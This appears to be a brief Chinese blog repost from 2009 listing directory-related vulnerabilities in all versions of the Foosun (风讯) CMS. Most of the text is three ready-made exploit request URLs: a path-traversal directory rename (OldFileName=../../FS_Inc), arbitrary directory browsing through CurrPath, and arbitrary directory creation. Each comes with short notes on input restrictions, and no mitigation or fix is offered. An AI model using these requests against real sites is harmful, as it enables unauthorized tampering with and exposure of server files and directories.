[导入]风讯所有版本多个目录相关漏洞

目录更名（新目录不能包含点）
/User/FileManage.asp?Type=FolderReName&OldFileName=../../FS_Inc&NewFileName=009

目录浏览（CurrPath不能包含点）
/Foosun500/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/&ShowVirtualPath=&f_UserNumber=1210538AD00


创建目录xxxx（CurrPath不能包含点）
/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/xxxx&ShowVirtualPath=&f_UserNumber=1210538AD00

009 2009-11-11 23:43 发表评论

文章来源: http://www.blogjava.net/baicker/archive/2009/11/11/302036.html